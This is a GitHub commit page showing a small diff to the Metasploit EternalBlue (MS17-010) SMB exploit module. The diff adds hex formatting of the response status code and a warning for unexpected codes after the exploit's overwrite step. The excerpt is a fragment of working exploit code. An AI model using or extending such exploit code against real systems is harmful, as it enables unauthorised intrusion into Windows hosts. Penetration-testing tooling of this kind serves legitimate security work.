Skip to content

Commit d944bdf

Browse files
author
zerosum0x0
committed
expect 0xC00000D
1 parent 646ca14 commit d944bdf

File tree

1 file changed

+5
-2
lines changed

1 file changed

+5
-2
lines changed

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -194,8 +194,11 @@ def smb_eternalblue(process_name, grooms)
194194
print_status("Receiving response from exploit packet")
195195
code, raw = smb1_get_response(sock)
196196

197-
if code == 0xc000000d #STATUS_INVALID_PARAMETER (0xC000000D)
198-
print_good("ETERNALBLUE overwrite completed successfully (0xC000000D)!")
197+
code_str = "0x" + code.to_i.to_s(16).upcase
198+
if code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
199+
print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")
200+
else
201+
print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")
199202
end
200203

201204
# Step 4: Send the payload

0 commit comments

Comments
 (0)